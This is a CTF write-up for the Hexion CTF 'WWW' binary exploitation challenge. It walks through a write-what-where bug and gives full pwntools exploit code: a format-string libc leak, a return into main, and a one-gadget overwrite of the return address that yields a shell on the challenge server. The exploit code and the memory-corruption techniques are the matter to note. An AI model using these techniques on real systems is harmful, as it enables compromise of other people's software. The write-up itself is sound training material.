#grub.js.org

Hexion CTF - WWW (pwn) writeup.

Overview

A nice little challenge with no bug hunting required. We can write what where, do where do we write what?

Source overview

We're provided with the binary, its source code, and the libc running on the server. A look at the source makes the end goal easy to spot:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void write(char what, long long int where, char* buf) {
    buf[where] = what;
}

char what() {
    char what;
    scanf("%c", &what);
    getchar();
    return what;
}

long long int where() {
    long long int where;
    scanf("%lld", &where);
    getchar();
    return where;
}

int main(void) {
	setvbuf(stdout, NULL, _IONBF, 0);
    int amount = 1;
    char buf[] = "Hello World!";
    while (amount--) {
        write(what(), where(), buf);
    }
    printf(buf);
}

So we can write a single byte wherever we like. what() takes a single byte, where takes a double long int. It then writes the byte we specify at an integer offset from buf. Ultimately, buf is an address in the stack of the main function.

We also have a call to prinft at the end of the binary, being passed an argument without a format specifier. Interesting!

What about protections?

gef➤  checksec
[+] checksec for '/home/grub/ctf/hexion/www'
Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Nothing too serious.

Attack plan

The first thing to notice is that the number of writes we are allowed is determined by a local variable in main. We're definitely going to be needing more than one write, so our first goal should be to overwrite this counter to free ourselves of the single write limitation.

A bit of trial and error (and maybe thought?) leads us to determine that the least significant byte of the amount variable is at an offset of -7 from buf.

If we can write an arbitrary number of bytes wherever we want, we have essentially won. We can either write a rop chain for shell, or maybe if we're lucky, overwrite a return address with a one-gadget.

Writing an exploit

Our first job is overwriting the counter and getting a libc leak. The helpful unparameterised printf call is going to be useful for the leak. We can simply use our write primitive to overwrite the 'Hello World!' string with a format string to leak an address from the stack. Some trial and error reveals that a libc address lives at offset 29 on the stack, so our format string shoud look like "%29$lx ". Let's start writing our exploit:

from pwn import *


p = remote("challenges1.hexionteam.com", 3002)

fmt = "%29$lx "

p.sendline("-7") # overwrite the counter variable
p.sendline(p8(len(fmt)) # we need to write  len(fmt) times

# write each character of the fmt string
for i in range(len(fmt)):
	p.sendline(str(i))
	p.sendline(fmt[i])

libc_leak = int(p.recv(1024).split()[0],16)

libc_base = libc_leak - 0x401733

log.info("Libc Leak: " + hex(libc_base))

Alright, so we can leak a libc address. But there's a problem; in order to get the result of the leak, we have to let the binary's main function return, which means we stop being able to write. To fix this, we need to return back into main in order to be able to reuse the vulnerable code. Let's adjust the code we have above:

fmt = "%29$lx "


main = p64(0x400778)


p.sendline("-7")
p.sendline(p8(len(fmt)+len(main)))



for i in range(len(fmt)):
	p.sendline(str(i))
	p.sendline(fmt[i])

for i in range(len(main)):
	p.sendline(str(45+i))
	p.sendline(main[i])

libc_leak = int(p.recv(1024).split()[0],16)

libc_base = libc_leak - 0x401733

log.info("Libc Leak: " + hex(libc_base))

We're cooking with gas. Last thing to do is overwrite the return address a second time, this time with a one gadget. I used one_gadget to find one at offset 0x4f2c5 in the provided libc version.

the rest of our exploit looks like this:

win = p64(libc_base + 0x4f2c5)
p.sendline("-7")
p.sendline(p8(len(win)))

for i in range(len(win)):
	p.sendline(str(45+i))
	p.sendline(win[i])


p.interactive()

Everything looks right, but when we run in locally we get a segfault at the following instruction:

  0x7f48ed5a54c4 <_IO_vfscanf+644> mov    QWORD PTR [rbp-0x608], rax
   0x7f48ed5a54cb <_IO_vfscanf+651> movzx  eax, BYTE PTR [rbx+0x1]
   0x7f48ed5a54cf <_IO_vfscanf+655> movhps xmm0, QWORD PTR [rbp-0x608]
 → 0x7f48ed5a54d6 <_IO_vfscanf+662> movaps XMMWORD PTR [rbp-0x470], xmm0
   0x7f48ed5a54dd <_IO_vfscanf+669> sub    eax, 0x30
   0x7f48ed5a54e0 <_IO_vfscanf+672> cmp    eax, 0x9
   0x7f48ed5a54e3 <_IO_vfscanf+675> jbe    0x7f48ed5a5680 <_IO_vfscanf_internal+1088>
   0x7f48ed5a54e9 <_IO_vfscanf+681> xor    esi, esi
   0x7f48ed5a54eb <_IO_vfscanf+683> cmp    QWORD PTR [rbp-0x648], 0x0

After some googling a stack overflow question gives the following useful hint:

The x86-64 System V ABI guarantees 16-byte stack alignment before a call, so libc system is allowed to take advantage of that for 16-byte aligned loads/stores. If you break the ABI, it's your problem if things crash.

So our payload has messed with the stack alignment. All we have to do is add a ret to our tiny rop chain and the exploit should work.

Final exploit:

from pwn import *

p = remote("challenges1.hexionteam.com", 3002)

fmt = "%29$lx "

main = p64(0x000000000040056e) + p64(0x400778)

p.sendline("-7")
p.sendline(p8(len(fmt)+len(main)))

for i in range(len(fmt)):
	p.sendline(str(i))
	p.sendline(fmt[i])

for i in range(len(main)):
	p.sendline(str(45+i))
	p.sendline(main[i])


libc_leak = int(p.recv(1024).split()[0],16)

libc_base = libc_leak - 0x401733

log.info("Libc Leak: " + hex(libc_base))

win = p64(libc_base + 0x4f2c5)
p.sendline("-7")
p.sendline(p8(len(win)))

for i in range(len(win)):
	p.sendline(str(45+i))
	p.sendline(win[i])


p.interactive()

Flag: hexCTF{wh0_wh1ch_why_wh3n?}